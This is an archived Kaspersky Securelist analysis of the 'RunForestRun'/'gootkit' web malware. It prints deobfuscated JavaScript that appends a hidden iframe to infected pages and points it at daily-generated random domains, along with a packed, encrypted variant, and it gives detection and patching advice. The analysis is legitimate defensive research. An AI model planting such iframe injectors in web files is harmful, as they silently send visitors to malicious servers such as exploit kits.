“RunForestRun”, “gootkit” and random domain name generation

By Marta Janus

Published: 2012-08-01 · Archived: 2026-04-02 12:32:30 UTC

Recently, we came across web malware that – instead of injecting an iframe pointing to a fixed existing address – generates a pseudo-random domain name, depending on the current date. This approach is not new and is widely used by botnets in C&C domain name generation, yet it’s not very common for the web malware we’ve seen so far.

After deobfuscation, we can see that the iframe redirecting to the malicious URL with generated domain name is appended to the HTML file. All URLs consist of 16 pseudo-random letters, belonging to the ru domain and execute PHP script on the server side with the `sid=botnet2` as argument:

```
function nextRandomNumber(){
   // skipped...
}
function RandomNumberGenerator(unix){
   // skipped...
}
function createRandomNumber(r, Min, Max){
   return Math.round((Max-Min) * r.next() + Min);
}
function generatePseudoRandomString(unix, length, zone){
   var rand = new RandomNumberGenerator(unix);
   var letters = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o',
>'p','q','r','s','t','u','v','w','x','y','z'];
   var str = '';
   for(var i = 0; i < length; i ++ ){
      str += letters[createRandomNumber(rand, 0, letters.length - 1)];
   }
   return str + '.' + zone;
}
setTimeout(function(){
   try{
      if(typeof iframeWasCreated == "undefined"){
         iframeWasCreated = true;
         var unix = Math.round(+new Date()/1000);
         var domainName = generatePseudoRandomString(unix, 16, 'ru');
         ifrm = document.createElement("IFRAME");
         ifrm.setAttribute("src", "http://"+domainName+"/runforestrun?
>sid=botnet2");
         ifrm.style.width = "0px";
         ifrm.style.height = "0px";
         ifrm.style.visibility = "hidden";
         document.body.appendChild(ifrm);
      }
   }catch(e){}
}, 500);
undefined
                                                                1,1           All
```

Every day a new domain name is generated, so denylisting malicious URLs as they become active is like tilting at windmills. Fortunately, if we know the algorithm, we may easily predict the domain names for each day in the future. This malware is detected by Kaspersky as `Trojan-Downloader.JS.Agent.gsv`.

A newer version of the same malware is even more tricky: instead of injecting obfuscated code into the plain JS file, it encrypts all the content of the infected file, so as to hide the malicious code together with the clean one:

```
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+
>((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,
>String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];
>e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+
>e(c)+'\\b','g'),k[c]);return p}('C N(f){p.2C=C(a,b){o c='\';iJ(o i=0;i<b.K;i++
>){c+=H.F(a.X(i%a.K)^b.X(i))}E c};p.W=C(h){G(h.B(\':\'))h=h.V(\':\')[0];o a=h.
>V(\'.\');U(a.K>2){a.1j()}E a.1i(\'.\')};p.M=C(){E p["1h"]["3%@@u5%!$%@b%!3%@!
// much more code...
J=((z&15)<<4)|(x>>2);D=((x&3)<<6)|y;b=b+H.F(c);G(x!=1a){b=b+H.F(J)}G(y!=1a){b=b+
>H.F(D)}c=J=D="";d=z=x=y=""}U(i<a.K);E b};p.T=f}o P=1b N("2G/2H=");o 1c=1b
>N("2I/2J/2K/2L/2M");G(2N 2O!="2P"){P.M()}2Q{R(1c.M());R(P.M())};',62,178,
>'|||||||||||||||||||z0|Za|replace|ub|bs|var|this|tr|||||st|su|enc3|enc4|enc2||i
>ndexOf|function|chr3|return|fromCharCode|if|String||chr2|length|charAt|WbPPiBw|
>TwACWKfBH|bstr|FpDVHLmAgprTRC|sub|eval|pTwblwwAkffEAh|dfpJzKMQvAu|while|split|g
>etTopHost|charCodeAt|ubs|subs|||||||str|||64|new|zVdKES|NrmXVHtph|iWZkvCtGfbeQ
// much more code...
VB10cCQoDRwESQ1IOVwMKC0oQBUFUJFVLQ08OVUtDTw5VSwcATQAGBgFaWwkNC1dbChMfSxsPIAdHGQ9
>LBXgHBkpUJFVLQ08OVUtDEiRVS0NPUxYKFwxGXQ5KFFN|Fk9PG0VbS1Qk|typeof|_typeof_|undef
>ined|else|menfcBf'.split('|'),0,{}))
                                                                1,1           All
```

Such malware is not so easy to discover: it doesn't have the specific "signature" (like the comment string in the previous example) and every infected file will strongly differ from another, because the obfuscated version depends on the clean content. Moreover, as the whole file is encrypted, you can't just point out the exact malicious part and delete it. Therefore, it's also not so easy to get rid of this malware without doing harm to the website. If you don't have clean, non-obfuscated copies of the infected files, in order to extract the clean content you need to decrypt these files, which may prove quite a difficult task.

After taking off the first layer of obfuscation by simply changing the `eval()` function to the `alert()` or the `print()` function, we can see more obfuscated code:

The second layer of obfuscation uses the domain name to encrypt the content of the file. For example, if the URL of infected file is: `hxxp://www.somesubdomain.example.com/file-to-infect.js` the key for decryption will be: `example.com` The clean part and the malicious part are stored in encrypted form in two separate variables:

To decrypt the code, we need to know the exact origin of the infected file. After full deobfuscation we can see slightly improved version of the function that generates random domain names, plus the clean code below:

```
//Congratulations! you have successfully extracted the gootkit payload
//this means i must work hardly :|
function nextRandomNumber(){
   // skipped...
}
function RandomNumberGenerator(unix){
   // skipped...
}
function createRandomNumber(r, Min, Max){
   return Math.round((Max-Min) * r.next() + Min);
}
function generatePseudoRandomString(unix, length, zone){
   var rand = new RandomNumberGenerator(unix);
   var subdomainlen = Math.floor(Math.random() * 32);
   var letters =
>"huozfexmrufmqhgnsvkehzrfrgopipvbuaxoqeriqwkgfkdyenzossqlxfqayvpr".split('');
   var str = '';
   for(var i = 0; i < subdomainlen; i ++ ){
      str += letters[Math.floor(Math.random() * (letters.length - 1))];
   }
   str += '.';
   for(var i = 0; i < length; i ++ ){
      str += letters[createRandomNumber(rand, 0, letters.length - 1)];
   }
   return str + '.' + zone;
}
setTimeout(function(){
   try{
      if(typeof iframeWasCreated == "undefined"){
         iframeWasCreated = true;
         var unix = Math.round(+new Date()/1000);
         var domainName = generatePseudoRandomString(unix, 16, 'waw.pl');
         ifrm = document.createElement("IFRAME");
         ifrm.setAttribute("src", "http://"+domainName+"/runforestrun?
>sid=botnet_api2");
         ifrm.style.width = "0px";
         ifrm.style.height = "0px";
         ifrm.style.visibility = "hidden";
         document.body.appendChild(ifrm);
      }
   }catch(e){}
}, 500);

(function(){var a=new Class({Implements:[Options,Events],options:{delay:4e3
   // rest of clean code...
-
                                                          1,1           All
```

This time the main domain is `waw.pl` instead of `ru` and the `sid` argument is `botnet_api2`. The name of the script remains the same and may suggest that the author is fond of the *Forrest Gump* film / novel. Also, from the comment the author apparently left for researchers, we know that the malware is called “gootkit” by its creator. A quick search on the Internet revealed that this word is not entirely unknown to Google in terms of malicious code and a few other pieces of malware had borne the same name. It’s hard to tell, though, if there are any connections between them (or the cybercriminals behind them) and the malware described above. The most similar case is the Gumblar-like Trojan, discovered in 2010, which steals credentials to FTP accounts and infects the HTML/PHP files on the server with the code that contain the “gootkit” strings.

The malware described in this blogpost is already detected by Kaspersky as: `HEUR:Trojan.Script.Generic` (in its obfuscated form) and `HEUR:Trojan.Script.Iframer` (deobfuscated).

Most probably, it spreads through the recent vulnerability in Plesk Panel, so we would like to appeal to every web administrator and every hosting provider to update the Plesk software on their servers to the newest version, apply all the security patches and change the passwords to all the FTP/SFTP/SSH accounts as soon as possible.

The malicious domains that we’ve checked resolved to the same IP address and seem to be “suspended due to abuse reports”, However, it’s possible that the rules defined on malicious server allow the redirection to malware only in specified circumstances (e.g. from particular regions and/or IP ranges) and the information about abuse is a fake. Previous version of this malware was known for redirecting users to the BlackHole Exploit Kit.

Source: https://securelist.com/runforestrun-gootkit-and-random-domain-name-generation/57865/